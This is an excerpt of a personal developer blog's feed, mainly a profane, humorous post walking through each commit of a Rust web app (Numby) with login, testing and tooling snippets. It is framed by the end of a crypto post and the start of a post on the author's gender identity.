<div class="reference" id="reference-6"><a class="reference-link" href="#reference-6-backlink"><sup>[6]</sup></a>: https://www.chainalysis.com/blog/2024-crypto-money-laundering/</div>
<div class="reference" id="reference-7"><a class="reference-link" href="#reference-7-backlink"><sup>[7]</sup></a>: https://virginiabusiness.com/bitcoin-king-michael-saylor-settles-d-c-tax-fraud-suit-for-40m/#:~:text=Bitcoin%20billionaire%20Saylor%20settles%20D.C.,for%20%2440M%20%2D%20Virginia%20Business</div>
<div class="reference" id="reference-8"><a class="reference-link" href="#reference-8-backlink"><sup>[8]</sup></a>: https://www.schaeffersresearch.com/content/news/2025/07/15/135-public-companies-that-hold-bitcoin-and-why-it-matters</div>
<div class="reference" id="reference-9"><a class="reference-link" href="#reference-9-backlink"><sup>[9]</sup></a>: https://www.ig.com/uk/news-and-trade-ideas/_the-smarter-web-company--a-meteoric-rise-captivates-investors-250626</div>
<div class="reference" id="reference-10"><a class="reference-link" href="#reference-10-backlink"><sup>[10]</sup></a>: https://investor.gamestop.com/news-releases/news-release-details/gamestop-announces-purchase-bitcoin</div>
<hr />
<h2 id="epilogue">Epilogue</h2>
<p>I do wonder if I'm treading the same ground as this with LLMs. Maybe in a few years you'll see me post "I Know You Don't Want To Hear My Opinions On Quantum Computing, So Here's My Opinion On AI Instead."<span class="footnote-link" id="footnote-6"><sup>(6)</sup></span></p>
<aside class="footnote-body" id="footnote-6-body"><sup>(6)</sup><span>I don't actually think quantum computing is anywhere close to being mainstream yet. I just don't have another over-hyped technology at the front of mind right now, nor do I believe I have the foresight to predict it.</span></aside>
<p>So have you seen that gacha game that has become all the rage these days? The one where the girls are horses. Seems pretty cool. Though I've not tried it since I already play the gacha games where the girls are guns, which is a lot more appealing to me personally, and I don't really want to play two gachas.</p>
<p>And yes, that does mean I have been able to <a href="/post/zenfull_area_one">"Fill The Kakfa Shaped Hole In My Heart"</a> with Makiatto (<a href="https://www.pixiv.net/en/artworks/74506347">pictured</a>).</p>
<p><img src="/img/wawa.jpg" alt="WA 2000" /></p>
<p>She's such a dork. 😍</p>
<p>Anyway, I hope you checked the sources of my extraordinary claims in this post ;)</p>]]></content>
        <author>
            <name>Justin Duch</name>
            <email>justin@duch.me</email>
            <uri>https://justin.duch.me</uri>
        </author>
    </entry>
    <entry>
        <title type="html"><![CDATA[I've Been Building This Web App For A Month; There Still Isn't Anything Past The Login Page]]></title>
        <id>https://justin.duch.me/post/numby</id>
        <link href="https://justin.duch.me/post/numby"/>
        <updated>2025-03-22T00:00:00.000Z</updated>
        <content type="html"><![CDATA[<p>I'm not going to explain what <a href="https://github.com/numbyfinance/numby">Numby</a> is because apart from it just being a login screen right now, I don't know if it will ever amount to anything and I don't want you to get disappointed when you find out I dropped it.</p>
<p>But the news is true - I have been working on it for a month, and all I have to show for that time is a login screen.</p>
<p>I've been spending a lot of time thinking about all the things I've hated or been annoyed by in every codebase (but mostly $DAY_JOB) I've had the displeasure of contributing to. And it looks like that has caused me to completely overcompensate and completely overengineer Numby (which again, I'm not going to explain anything about).</p>
<p>So I thought it would be fun if we went through every commit I've made so far and see what led me down this dark path.</p>
<ol>
<li>[<a href="https://github.com/numbyfinance/numby/commit/a6a9d39410461876f58a9cbc0ffa6faec3c5f7c1">a6a9d39</a>] first commit</li>
</ol>
<p>For the past four years I've been doing an annual state of Rust web development survey during new years, because believe it or not, even though <a href="https://www.arewewebyet.org/">Are we web yet?</a> has been saying we've been web for the past five years - we really haven't.</p>
<p>I'm sorry gamers, but web dev in Rust just hasn't been that good until recently. Some of that has been because of the clusterfuck called <code class="prettyprint">async</code> and webassembly kinda not being all that right now, but most of it is because people keep thinking to make Rust popular with web devs you need to make a React for Rust.</p>
<p>And let me tell you, the problem with React isn't that it's written in JavaScript - the problem is that it's React and React fucking sucks, and having React (but made in Rust) isn't going to fix any of its numerous problems.</p>
<p>Thankfully our obsession with "web frameworks" is being questioned thoroughly these days, and we have proper alternatives now.</p>
<p>The one I chose for Numby is <a href="https://data-star.dev/">Datastar</a>, which "brings the functionality provided by libraries like Alpine.js (frontend reactivity) and htmx (backend reactivity) together, into one cohesive solution."</p>
<p>I'll go over it more when we get to the commit where it's actually used, but I recommend you read up on it before because I probably won't explain much about it.</p>
<p>A big annoyance I have with pretty much every project is managing dependencies and environments, not just the language libraries you install, I mean all dependencies - language versions, tooling, everything that you need to run the thing.</p>
<p>Common ways of solving this amount to using Nix or Dev Containers. Let's start with Nix.</p>
<p>Nix is a great idea, but it has the worst fucking UX I have ever seen in my life and that is no exaggeration. I started using Arch Linux at the age of 13 as my first Linux distro and I had an easier time with that then trying to properly learn Nix two years ago<span class="footnote-link" id="footnote-1"><sup>(1)</sup></span> as a 23 year old with 5 years of professional software engineering experience. I don't like Nix, and that's before considering all the bullshit going on with its leadership.</p>
<aside class="footnote-body" id="footnote-1-body"><sup>(1)</sup><span>Yes, I've looked at it again recently. No, it hasn't gotten any better.</span></aside>
<p>And as for Dev Containers - I don't use VS Code, so I can't use it. Seems ok though.</p>
<p>Instead, I'm using <a href="https://mise.jdx.dev/">mise</a>, which is a very cool piece of software (written in Rust).</p>
<blockquote>
  <p> <code class="prettyprint">mise</code> installs and manages dev tools/runtimes like node, python, or terraform both simplifying installing these tools and allowing you to specify which version of these tools to use in different projects. <code class="prettyprint">mise</code> supports hundreds of dev tools.</p>
  <p> <code class="prettyprint">mise</code> manages environment variables letting you specify configuration like <code class="prettyprint">AWS_ACCESS_KEY_ID</code> that may differ between projects. It can also be used to automatically activate a Python virtualenv when entering projects too.</p>
  <p> <code class="prettyprint">mise</code> is a task runner that can be used to share common tasks within a project among developers and make things like running tasks on file changes easy.</p>
</blockquote>
<p>While in this "first commit," mise wasn't used much, but eventually I started learning a lot more about its capabilities and holy shit, this thing fucking rocks.</p>
<p>If you were to pull the latest commit, all you need installed is <code class="prettyprint">mise</code> and <code class="prettyprint">podman</code> + <code class="prettyprint">podman compose</code>.<span class="footnote-link" id="footnote-2"><sup>(2)</sup></span></p>
<aside class="footnote-body" id="footnote-2-body"><sup>(2)</sup><span>I feel you shouldn't also need `podman` because mise can install it for you, but I couldn't find a way to also get `podman compose`. Oh yeah, also I use `podman` instead of `docker`. It's better.</span></aside>
<p>Then you run three commands.</p>
<pre class="prettyprint linenums"><code>mise install
</code></pre>
<p>This installs every tool you need to run Numby. It sets the correct Rust version, installs <code class="prettyprint">bun</code> (for Datastar and TailwindCSS), and installs cli tools - <code class="prettyprint">cargo watch</code>, <code class="prettyprint">sqlx-cli</code>, and <code class="prettyprint">clorinde</code> (I'll explain this one later). All set to the correct version contained to the project.</p>
<pre class="prettyprint linenums"><code>mise app:setup
</code></pre>
<p>This runs the <code class="prettyprint">podman compose</code> command to start up the containers for Postgres and Valkey, then runs migrations on them.</p>
<pre class="prettyprint linenums"><code>mise app:start
</code></pre>
<p>And this is hopefully self-explanatory.</p>
<p>So, three commands. Isn't confusing as shit. Doesn't depend on a dog shit editor trying to be an IDE.<span class="footnote-link" id="footnote-3"><sup>(3)</sup></span> It's fucking sick. It's a tour de force of what Rust is capable of and enables you to do. A MASTERCLASS IN HOW TO WRITE NOT SHIT SOFTWARE.</p>
<aside class="footnote-body" id="footnote-3-body"><sup>(3)</sup><span>But Justin! Dev Containers doesn't depend on VSC, it's an open spec! Any editor can implement it! Oh, yeah? So why can't I use it in Zed, let alone Neovim or Helix. Why is VSC practically the only editor (IntelliJ is not a real editor, I refuse to believe humans can write software that shit) that supports it? Maybe next time think before you speak, fucker.</span></aside>
<p>All right, I don't know why I'm so worked-up and angry, but I really want to shit on something now. Let's go for an old favourite - ORMs.</p>
<p>We all hate ORMs in this house. Remember <a href="/post/oop_is_okay">that time</a> when I wrote an essay in my company Slack explaining why I hate ORMs? Good times, 2020 was one of the best years of my life.<span class="footnote-link" id="footnote-4"><sup>(4)</sup></span></p>
<aside class="footnote-body" id="footnote-4-body"><sup>(4)</sup><span>This is not a joke. I fucking loved lockdown. Video conferencing wasn't really a thing in my company at the time, so I went two weeks without speaking a word to anyone. Unfortunately my French teacher still wanted to teach me French so that ruined everything, as the Fr*nch often do.</span></aside>
<p>Anyway, some people ask me what they should use for querying the database if not an ORM. And I mean, it's called "writing the query yourself." I'm a big believer in using the Structured Query Language to talk to the service with Structured Query Language in its name.</p>
<p>There's this really cool Rust library called <a href="https://github.com/cornucopia-rs/cornucopia">Cornucopia</a> which takes your SQL queries and turns them into Rust types to use in your code. Unfortunately it looks unmaintained.</p>
<p>So I forked it.</p>
<p>This is <a href="https://github.com/halcyonnouveau/clorinde">Clorinde</a><span class="footnote-link" id="footnote-5"><sup>(5)</sup></span> which I made to add a bunch of improvements. The most important of which is crate-based code generation which makes the setup much simpler, and improves a bunch of other things you don't need to care about. It's pretty neat, uhh… maybe give it a star on GitHub? I dunno, up to you. But like, it would be pretty pogchamp of you if you did.</p>
<aside class="footnote-body" id="footnote-5-body"><sup>(5)</sup><span>Yes, I named it after the Genshin Impact character, and if you liked that, just wait until find out what a Numby is. No, I still haven't played Genshin Impact, and I never will.</span></aside>
<p>The last big thing I wanted was telemetry. Having observability into the platform is <strong>very</strong> useful for pinpointing issues. I've been using Sentry for pretty much everything for many years, but I've made the switch to OpenTelemetry for this.</p>
<p>While I don't think OpenTelemetry is <em>that</em> great, it's been getting better and is practically the standard, so I think it's a pretty safe bet to use now.</p>
<p>Alright, that was a lot, but it was the first commit. The rest won't be like this.</p>
<ol start="2">
<li>[<a href="https://github.com/numbyfinance/numby/commit/26e8ef0f65c9fa5deb1d59762f44c79459526ccf">26e8ef0</a>] feat: add auth session</li>
</ol>
<p>Ok so I hear that you shouldn't roll your own auth a lot. But I've also never seen an auth service that doesn't either create very annoying vendor lock-in, or suck ass. And most of the time they are both.</p>
<p>However, I also don't want to write my own auth because that shit is SO BORING. So I went for a compromise - using an auth library, specifically <a href="https://github.com/maxcountryman/axum-login">axum-login.</a></p>
<p>So far it's been fine, it is (almost) everything I want, and is simple to use.</p>
<p>However, I can't shake the feeling that I'd probably have something better if I wrote it myself. I can see a future where I rewrite all of this.</p>
<p>But we'll burn that bridge when we get to it.</p>
<ol start="3">
<li>[<a href="https://github.com/numbyfinance/numby/commit/7c903f4820459167d12daeddab73270c981de124">7c903f4</a>] feat: add login page</li>
</ol>
<p>Wait, three commits in and we're already at the login page?</p>
<p>How many commits are there?</p>
<p>14.</p>
<p>Ah, fuck.</p>
<p>Yeah, so this is the one where I add the long awaited login page. And I guess it's time to talk about Datastar.</p>
<p>Datastar is neat because it fulfils my life-long dream of never having to write JavaScript. Here's a very abridged version of the login page.</p>
<pre class="prettyprint linenums"><code class="rust language-rust"><span class="hljs-keyword">pub</span> <span class="hljs-keyword">struct</span> <span class="hljs-title class_">Credentials</span> {
    <span class="hljs-keyword">pub</span> email: <span class="hljs-type">String</span>,
    <span class="hljs-keyword">pub</span> password: <span class="hljs-type">String</span>,
}

<span class="hljs-keyword">pub</span> <span class="hljs-keyword">async</span> <span class="hljs-keyword">fn</span> <span class="hljs-title function_">get_login</span>() <span class="hljs-punctuation">-&gt;</span> maud::Markup {
    html! {
        form {
            div {
                div {
                    label <span class="hljs-keyword">for</span>=<span class="hljs-string">&quot;email&quot;</span> { <span class="hljs-string">&quot;Email Address&quot;</span> }
                    input data-bind-email #email <span class="hljs-keyword">type</span>=<span class="hljs-string">&quot;email&quot;</span>;
                }
                div {
                    label <span class="hljs-keyword">for</span>=<span class="hljs-string">&quot;password&quot;</span> { <span class="hljs-string">&quot;Password&quot;</span> }
                    input data-bind-password #password <span class="hljs-keyword">type</span>=<span class="hljs-string">&quot;password&quot;</span> autocomplete=<span class="hljs-string">&quot;on&quot;</span>;
                }
            }

            div #error {}

            a data-on-click=<span class="hljs-string">&quot;@post(&#x27;/login&#x27;)&quot;</span> { <span class="hljs-string">&quot;Sign In&quot;</span> }
        }
    }
}

<span class="hljs-keyword">pub</span> <span class="hljs-keyword">async</span> <span class="hljs-keyword">fn</span> <span class="hljs-title function_">post_login</span>(
    <span class="hljs-keyword">mut</span> session: AuthSession,
    <span class="hljs-title function_ invoke__">ReadSignals</span>(creds): ReadSignals&lt;Credentials&gt;,
) <span class="hljs-punctuation">-&gt;</span> <span class="hljs-keyword">impl</span> <span class="hljs-title class_">IntoResponse</span> {
    <span class="hljs-keyword">match</span> session.<span class="hljs-title function_ invoke__">login</span>(creds).<span class="hljs-keyword">await</span> {
        <span class="hljs-title function_ invoke__">Ok</span>(_) =&gt; {
            <span class="hljs-title function_ invoke__">Sse</span>(stream! {
                <span class="hljs-keyword">yield</span> ExecuteScript::<span class="hljs-title function_ invoke__">new</span>(<span class="hljs-string">&quot;window.location.assign(&#x27;/&#x27;)&quot;</span>).<span class="hljs-title function_ invoke__">into</span>()
            })
            .<span class="hljs-title function_ invoke__">into_response</span>()
        }
        <span class="hljs-title function_ invoke__">Err</span>(e) =&gt; {
            tracing::error!(<span class="hljs-string">&quot;{}&quot;</span>, e.<span class="hljs-title function_ invoke__">to_string</span>());
            <span class="hljs-title function_ invoke__">Sse</span>(stream! {
                <span class="hljs-keyword">yield</span> MergeFragments::<span class="hljs-title function_ invoke__">new</span>(html! { p { <span class="hljs-string">&quot;Incorrect email or password.&quot;</span> } })
                    .<span class="hljs-title function_ invoke__">selector</span>(<span class="hljs-string">&quot;#error&quot;</span>)
                    .<span class="hljs-title function_ invoke__">merge_mode</span>(datastar::prelude::FragmentMergeMode::Inner).<span class="hljs-title function_ invoke__">into</span>()
            }).<span class="hljs-title function_ invoke__">into_response</span>()
        }
    }
}
</code></pre>
<p>As I said before, I encourage you to read up on Datastar yourself, specifically sections about Server-Side Events. This is a pretty poor example of what it can really do, but I don't have anything better because of… well you know.</p>
<p>Also, you should have noticed I'm using <a href="https://maud.lambda.xyz/">Maud</a> for HTML templating. Maud is great because it isn't XML syntax. FUCK XML. It's also a lot more composable than other Jinja-like templating libraries, which you can use to make isolated components. Combined with Datastar, it's pretty powerful.</p>
<ol start="4">
<li>[<a href="https://github.com/numbyfinance/numby/commit/25501e342a4009ba3234f3543c9bcd4627746370">25501e3</a>] feat: add tests</li>
</ol>
<p>TESTS! YIPEE!!!</p>
<p>This is actually the earliest I've ever written tests when starting a project. It normally hasn't actually been that big of a priority for me. So what's changed and caused me to see the light?</p>
<p>If your guess is the experience of constantly having to fix very preventable bugs over the course of my seven year career, your guess is… WRONG. Better luck next time idiot.</p>
<p>The answer is Clorinde. The uhh, library I maintain, not the Genshin Impact character.</p>
<p>The original authors of Cornucopia made a very comprehensive and reliable test suite. And it has been SO HELPFUL. Not only is it a good way of learning about the library, and what it can and can't do. It also gives me an immense amount of confidence when changing things and making sure there are no regressions.<span class="footnote-link" id="footnote-6"><sup>(6)</sup></span></p>
<aside class="footnote-body" id="footnote-6-body"><sup>(6)</sup><span>To be fair, being a codegen library also makes it inherently easy to spot regressions through a `git diff` of generated code.</span></aside>
<p>It has made me realise the true power of tests (and that everyone else, including me, does not write good test suites), especially when combined with the high amount of confidence you get that the code will work just from it being written in Rust.</p>
<p>Anyway, this commit only includes integration tests, but others will be added later. I also wanted to make sure they are "deterministic." That being making sure a new database is spun up using <a href="https://testcontainers.com/">Testcontainers</a> with test data fixtures applied so that I can be a lot more certain on what data is being used for testing.</p>
<p>At $DAY_JOB, integration tests are run on the database we also use for development. That shit SUCKS. And we often forget to clean up any test data we make, so my dev env is filled with a bunch of bullshit. YUCK.</p>
<p>Right now the worst part about Rust web dev is that this isn't well trodden ground and there aren't many examples on how to do this stuff (most stuff in general actually, not just tests). I had to figure out a lot of this on my own. Thankfully, this isn't a real issue for good programmers like me :)</p>
<ol start="5">
<li>[<a href="https://github.com/numbyfinance/numby/commit/93db8aa3ce8371a88cc5c9ea2203b0f4115e822f">93db8aa</a>] fix: login method for context</li>
</ol>
<p>This is just a fix to the tests. Nothing much to see. NEXT.</p>
<ol start="6">
<li>[<a href="https://github.com/numbyfinance/numby/commit/970e05442506474171751ee05b0fb0c4ae35b529">970e054</a>] feat: add cache busting</li>
</ol>
<p>I decided I needed to add something for cache busting assets. I mean, pretty self-explanatory.</p>
<p>Here I'm using a crate called <a href="https://github.com/bionic-gpt/cache-busters">cache-busters</a>, which I found from the <a href="https://rust-on-nails.com/docs/">Rust on Nails</a> guide.</p>
<p>This isn't an endorsement of Rust on Nails, I actually don't like it that much. It's very close to being something I can agree with and get behind (we've come to a lot of the same conclusions), but it's just not how I would want to build something.</p>
<p>Mostly I don't understand the desire to put everything in separate crates when everything is required to build into the one binary. I don't think isolation makes any sense for that, because it's literally not isolated.</p>
<ol start="7">
<li>[<a href="https://github.com/numbyfinance/numby/commit/0f90e81ce140d12b147f330f7cf9191ba5a7e7af">0f90e81</a>] chore: add mathesar for admin</li>
</ol>
<p>A thing I've had to do my entire career is build and maintain an "admin portal" for non-engineers to use and be able to edit a few database tables. Normally, this would be in the app accessible only through certain permissions.</p>
<p>And can I just say. I am fucking SICK AND TIRED of making admin portals. I don't want to do it anymore!! It's literally the most basic CRUD shit you could think of.</p>
<p>I also don't really like having it in the app. I know there's technically nothing wrong with it as long as your access control layer works, and that isn't hard as long as you stay vigilant, but it still doesn't feel great to me.</p>
<p>So I'm trying out <a href="https://github.com/mathesar-foundation/mathesar/">Mathesar</a> for this, so far it seems pretty good. I also looked at <a href="https://github.com/budibase/budibase">Budibase</a>, but I don't think I'll need all those features, and Mathesar looks easier to self-host.</p>
<ol start="8">
<li>[<a href="https://github.com/numbyfinance/numby/commit/e7a55a158caea1d207c0b19d1e9382343847d74f">e7a55a1</a>] chore: move to cacheb</li>
</ol>
<p>So about that cache busting library, "cache-busters" I just talked about. Yeah, it kinda sucks. The code it generates is in my opinion, not that well thought out and is unformatted<span class="footnote-link" id="footnote-7"><sup>(7)</sup></span> - in particular it puts all the files in a flat structure to import. So if you had something like this where you have files with the same name but in different directories.</p>
<aside class="footnote-body" id="footnote-7-body"><sup>(7)</sup><span>I don't like ugly code, codegen'd or not.</span></aside>
<pre class="prettyprint linenums"><code>file.js
my-directory/
  file.js
</code></pre>
<p>It no work good.</p>
<p>So I forked it.</p>
<p>This is <a href="https://github.com/numbyfinance/cacheb">cacheb</a>, it's basically the same expect it creates imports according to the directory structure and properly formats the code. There are also tests.</p>
<ol start="9">
<li>[<a href="https://github.com/numbyfinance/numby/commit/51b67a47bc6680532d02857d2278c350af274de1">51b67a4</a>] chore: license as FSL</li>
</ol>
<p><a href="https://fsl.software/">Functional Source License</a> (FSL) is a <a href="https://fair.io/">Fair Source license</a> created by <a href="https://blog.sentry.io/introducing-the-functional-source-license-freedom-without-free-riding/">Sentry</a>.</p>
<p>Originally Numby's code wasn't supposed to be public, but due to reasons I can't divulge because that would require me to explain Numby, I changed my mind and licensed it under FSL.</p>
<p>Do what you will with that information.</p>
<ol start="10">
<li>[<a href="https://github.com/numbyfinance/numby/commit/bf60f3a26aeb3a2eae4ae5a118d1f66558411213">bf60f3a</a>] fix: build.rs</li>
</ol>
<p>This is me fixing the <code class="prettyprint">build.rs</code> and doing a small restructure of the static assets.</p>
<ol start="11">
<li>[<a href="https://github.com/numbyfinance/numby/commit/9373253bcb997f1f7bc18c1a3ec60ca684a37393">9373253</a>] chore: fix tracing</li>
</ol>
<p>And this is me fixing the tracing. I don't know why the commit message is <code class="prettyprint">chore</code> and not <code class="prettyprint">fix</code>.</p>
<ol start="12">
<li>[<a href="https://github.com/numbyfinance/numby/commit/2c17dd59a1af16645a4c0f4cda2a3a2c7eb617b6">2c17dd5</a>] chore: change test structure</li>
</ol>
<p>I mentioned previously that the current tests are just integration tests for the Axum API routes. This commit is me making a bunch of changes to support a proper "testing pyramid" - that is, running unit tests, integration tests, and end-to-end (e2e) tests.</p>
<p>This basically just amounts to setting feature flags for it. You can see how they should be run in the <code class="prettyprint">mise.toml</code>.</p>
<pre class="prettyprint linenums"><code class="toml language-toml"><span class="hljs-section">[tasks.&quot;test:unit&quot;]</span>
<span class="hljs-attr">description</span> = <span class="hljs-string">&quot;Run unit tests&quot;</span>
<span class="hljs-attr">run</span> = <span class="hljs-string">&quot;cargo test --bin numby&quot;</span>

<span class="hljs-section">[tasks.&quot;test:integration&quot;]</span>
<span class="hljs-attr">description</span> = <span class="hljs-string">&quot;Run integration tests&quot;</span>
<span class="hljs-attr">run</span> = <span class="hljs-string">&quot;cargo test --features test.integration&quot;</span>

<span class="hljs-section">[tasks.&quot;test:e2e&quot;]</span>
<span class="hljs-attr">description</span> = <span class="hljs-string">&quot;Run end-to-end tests&quot;</span>
<span class="hljs-attr">run</span> = <span class="hljs-string">&quot;cargo test --features test.e2e&quot;</span>
</code></pre>
<ol start="13">
<li>[<a href="https://github.com/numbyfinance/numby/commit/b76352a88ecab22cbdf7605ab50889ed80903403">b76351a</a>] feat: add public graphql api</li>
</ol>
<p>Numby is most likely going to need a public API because of reasons that… well, you should be getting used to this by now.</p>
<p>Many people have said that GraphQL isn't good for public APIs and should only be used for internal ones. But while I use they/them, I am not many people.<span class="footnote-link" id="footnote-8"><sup>(8)</sup></span></p>
<aside class="footnote-body" id="footnote-8-body"><sup>(8)</sup><span>I'll be here all week folks.</span></aside>
<p>Here's a list of scenarios it would not be a bad idea to use GraphQL for.</p>
<ul>
<li>When you have a clear and distinct separation between the service API and the consumer. Both in technology and persons.</li>
</ul>
<p>That's it.</p>
<p>This applies to organisations with separate front-end and back-end teams, but also equally applies to a public API and everyone else.</p>
<p>GraphQL moves complexity from the front-end to the back-end. For an organisation with separate teams, that's useful because front-end people already have enough shit to deal with (especially if they use React), and having a standard like GraphQL minimises communication errors.</p>
<p>It's harder to design a good REST API than a good GraphQL schema. For a public API this is important because you want the API to be clean and ergonomic so that people will actually use it while not hating you and everything you stand for.<span class="footnote-link" id="footnote-9"><sup>(9)</sup></span> It's also much easier to document.</p>
<aside class="footnote-body" id="footnote-9-body"><sup>(9)</sup><span>I know this happens from experience as a user of several public APIs.</span></aside>
<p>But, for your average "full stack developer" there are not enough pros to GraphQL to justify the added complexity. Having to do a bunch of shit to deal with things that just weren't a problem before (eg. N+1 problem, query caching, access control, etc) is not worth it.</p>
<p>The one thing against a public GraphQL API is that not everyone knows how to use GraphQL. To that I say -</p>
<p>Skill issue.</p>
<p>Don't use my APIs if you're a bad programmer. And that is my genuine, 100% serious opinion.</p>
<ol start="14">
<li>[<a href="https://github.com/numbyfinance/numby/commit/c8f87689a9f21f2ec27ad3cb68627494c41c3e89">c8f8768</a>] feat: add auth e2e test</li>
</ol>
<p>This is the last commit we're going to look at. And wow, what a doozy it is.</p>
<p>These are e2e tests using Selenium and <a href="https://cucumber.io/">Cucumber</a>. I've used Cucumber on a few projects for clients and it's legitimately pretty useful for getting them to properly explain what they want and be able to confirm it works.</p>
<p>It allows for the creation of human-readable test scenarios that describe how a system should behave from a user's perspective. These scenarios are organized into feature files with steps written in a Given-When-Then format, where "Given" sets up preconditions, "When" describes actions, and "Then" verifies outcomes.</p>
<pre class="prettyprint linenums"><code class="gherkin language-gherkin"><span class="hljs-keyword">Feature</span>: Authenication feature

  <span class="hljs-keyword">Scenario</span>: If we log in with correct credentials we will login
    <span class="hljs-keyword">Given</span> a webdriver
    <span class="hljs-keyword">When</span> we go to /login
    <span class="hljs-keyword">When</span> we input correct credentials
    <span class="hljs-keyword">Then</span> we are logged in
</code></pre>
<p>Then the scenarios are then mapped to executable code through step definitions.</p>
<pre class="prettyprint linenums"><code class="rust language-rust"><span class="hljs-meta">#[given(<span class="hljs-string">&quot;a webdriver&quot;</span>)]</span>
<span class="hljs-keyword">async</span> <span class="hljs-keyword">fn</span> <span class="hljs-title function_">webdriver</span>(world: &amp;<span class="hljs-keyword">mut</span> CommonWorld) {
    world.driver = <span class="hljs-title function_ invoke__">Some</span>(
        world
            .config
            .<span class="hljs-title function_ invoke__">get_driver</span>()
            .<span class="hljs-keyword">await</span>
            .<span class="hljs-title function_ invoke__">expect</span>(<span class="hljs-string">&quot;Couldn&#x27;t get webdriver&quot;</span>),
    );
}

<span class="hljs-meta">#[when(regex = r<span class="hljs-string">&quot;^we go to /(.+)$&quot;</span>)]</span>
<span class="hljs-keyword">async</span> <span class="hljs-keyword">fn</span> <span class="hljs-title function_">navigate_to_path</span>(world: &amp;<span class="hljs-keyword">mut</span> CommonWorld, path: <span class="hljs-type">String</span>) {
    <span class="hljs-keyword">let</span> <span class="hljs-variable">driver</span> = &amp;world.driver.<span class="hljs-title function_ invoke__">as_ref</span>().<span class="hljs-title function_ invoke__">expect</span>(<span class="hljs-string">&quot;no webdriver&quot;</span>);
    <span class="hljs-keyword">let</span> <span class="hljs-variable">url</span> = <span class="hljs-built_in">format!</span>(<span class="hljs-string">&quot;{}/{}&quot;</span>, world.config.host, path);
    driver
        .<span class="hljs-title function_ invoke__">goto</span>(&amp;url)
        .<span class="hljs-keyword">await</span>
        .<span class="hljs-title function_ invoke__">expect</span>(&amp;<span class="hljs-built_in">format!</span>(<span class="hljs-string">&quot;Failed to navigate to /{}&quot;</span>, path));
}

<span class="hljs-meta">#[when(<span class="hljs-string">&quot;we input correct credentials&quot;</span>)]</span>
<span class="hljs-keyword">async</span> <span class="hljs-keyword">fn</span> <span class="hljs-title function_">input_correct_credentials</span>(world: &amp;<span class="hljs-keyword">mut</span> CommonWorld) {
    <span class="hljs-keyword">let</span> <span class="hljs-variable">driver</span> = &amp;world.driver.<span class="hljs-title function_ invoke__">as_ref</span>().<span class="hljs-title function_ invoke__">expect</span>(<span class="hljs-string">&quot;no webdriver&quot;</span>);
    <span class="hljs-comment">// ...</span>
}

<span class="hljs-meta">#[then(<span class="hljs-string">&quot;we are logged in&quot;</span>)]</span>
<span class="hljs-keyword">async</span> <span class="hljs-keyword">fn</span> <span class="hljs-title function_">verify_logged_in</span>(world: &amp;<span class="hljs-keyword">mut</span> CommonWorld) {
    <span class="hljs-keyword">let</span> <span class="hljs-variable">driver</span> = &amp;world.driver.<span class="hljs-title function_ invoke__">as_ref</span>().<span class="hljs-title function_ invoke__">expect</span>(<span class="hljs-string">&quot;no webdriver&quot;</span>);
    tokio::time::<span class="hljs-title function_ invoke__">sleep</span>(tokio::time::Duration::<span class="hljs-title function_ invoke__">from_secs</span>(<span class="hljs-number">1</span>)).<span class="hljs-keyword">await</span>;
    <span class="hljs-keyword">let</span> <span class="hljs-variable">current_url</span> = driver
        .<span class="hljs-title function_ invoke__">current_url</span>()
        .<span class="hljs-keyword">await</span>
        .<span class="hljs-title function_ invoke__">expect</span>(<span class="hljs-string">&quot;Failed to get current URL&quot;</span>);
    <span class="hljs-built_in">assert!</span>(current_url.<span class="hljs-title function_ invoke__">as_str</span>().<span class="hljs-title function_ invoke__">contains</span>(<span class="hljs-string">&quot;/&quot;</span>));
}
</code></pre>
<p>It's a lot more effort to setup than just basic Selenium tests, but once you have a bunch of reusuable steps, it becomes much easier to write than them.</p>
<p>Now that all this setup shit has been done, what's next for Numby? What great features await us?</p>
<p>Well, believe it or not. I'm not done with the setup shit.</p>
<p>I probably need a few helper functions to manage <a href="https://pgdash.io/blog/exploring-row-level-security-in-postgres.html">Row Level Security</a> in Postgres. If you don't know what that is, you should probably find out - it's one of Postgres' best features.</p>
<p>I also need to add the OpenTelemetry <a href="https://github.com/open-telemetry/opentelemetry-js">web-sdk</a>, for telemetry on the browser, as the current telemetry is server side only.</p>
<p>Next I want to figure out what I'm doing with deployment infrastructure. The obvious answer is Kubernetes and Pulumi, but I think it might not be too hard to edit <a href="/post/rust_infra">b8s</a> into something that works for Numby. And if that's the case, I may as well properly productionise it and make it more general purpose for other- and oh my Bidoof I'm just thinking about turning it into Kubernetes. Let's not do that.</p>
<p>Or maybe I should?</p>
<h2 id="epilogue">Epilogue</h2>
<p>I've been sick, and I've only had like ten hours of sleep the past the past three days, which might explain why I've been so… aggressive in this post. The Overwatch 2 x LE SSERAFIM collab came out right at the start of this too, so I've been listening to LE SSERAFIM all day and night.</p>
<p>My favourite song is "Eve, Psyche &amp; The Bluebeard’s wife."</p>
<p>Anyway, why don't we talk about you for a change? What have YOU been up to?</p>
<p>…</p>
<p>Uh-huh, silent as always. And I thought I was the one with social anxiety disorder.</p>
<p>You know over the past 7 years this blog has existed, I have given you so many gold nuggets in the form of my wisdom and eternal knowledge.</p>
<p>But what have I ever recieved in return?</p>
<p>Nothing.</p>
<p>You owe me a great debt. I hope you know that. Collection day will come.</p>
<p>Be prepared for that.</p>]]></content>
        <author>
            <name>Justin Duch</name>
            <email>justin@duch.me</email>
            <uri>https://justin.duch.me</uri>
        </author>
    </entry>
    <entry>
        <title type="html"><![CDATA[This Post Is About (My) Gender Identity And Nothing Else]]></title>
        <id>https://justin.duch.me/post/gender</id>
        <link href="https://justin.duch.me/post/gender"/>
        <updated>2025-01-22T00:00:00.000Z</updated>
        <content type="html"><![CDATA[<p>I'm back, fuckers.</p>
<p>In this yearly edition of posts celebrating this blog's birthday which almost always immediately derail into depressive rants, I'm going to be explaining gender identity, so I have something to reference back other people to when they somehow find out I use they/them pronouns,<span class="footnote-link" id="footnote-1"><sup>(1)</sup></span> and want to know "why?"</p>
<aside class="footnote-body" id="footnote-1-body"><sup>(1)</sup><span>I only tell my friends this, and normally they don't need explaining to for things like this. Also yes, since I've just told you, that means we're friends.</span></aside>
<p>Although I probably won't show them this post because I literally opened it with calling you all "fuckers," and that's a bit mean.</p>
<p>Anyway we're going to take on a bit of a detour first as to understand gender, we must first understand the economic supply and demand curve.</p>
<p>What's often called "Economics 101" and used as the basis for many Internet arguments I see, is just that - "101," the introductory course, a simplification for something much more complex.</p>
